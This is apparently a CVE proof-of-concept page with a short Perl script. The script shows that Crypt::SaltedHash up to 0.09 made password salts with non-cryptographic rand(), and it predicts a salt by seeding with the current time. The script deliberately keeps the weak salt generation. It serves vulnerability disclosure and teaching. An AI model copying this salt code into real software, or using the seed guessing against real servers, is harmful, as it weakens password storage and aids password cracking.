CVE-2026-47372: Perl Salt值生成漏洞

#!/usr/bin/perl use strict; use warnings; # This PoC demonstrates the predictability of using rand() for salt generation. # In Crypt::SaltedHash <= 0.09, salt generation relied on non-cryptographic rand(). sub generate_vulnerable_salt { my $length = 8; my $salt = ""; for (1..$length) { # Vulnerable: using built-in rand which is predictable $salt .= chr(int(rand(256))); } return $salt; } # Simulation: If an attacker guesses the seed (e.g., based on time) my $guessed_seed = time(); srand($guessed_seed); my $predicted_salt = generate_vulnerable_salt(); print "[+] Predicted Salt (using guessed seed): " . unpack("H*", $predicted_salt) . "\n"; # If the server generates a hash at the same second, the salt will match. print "[!] An attacker can use this predicted salt to pre-compute hash tables.\n";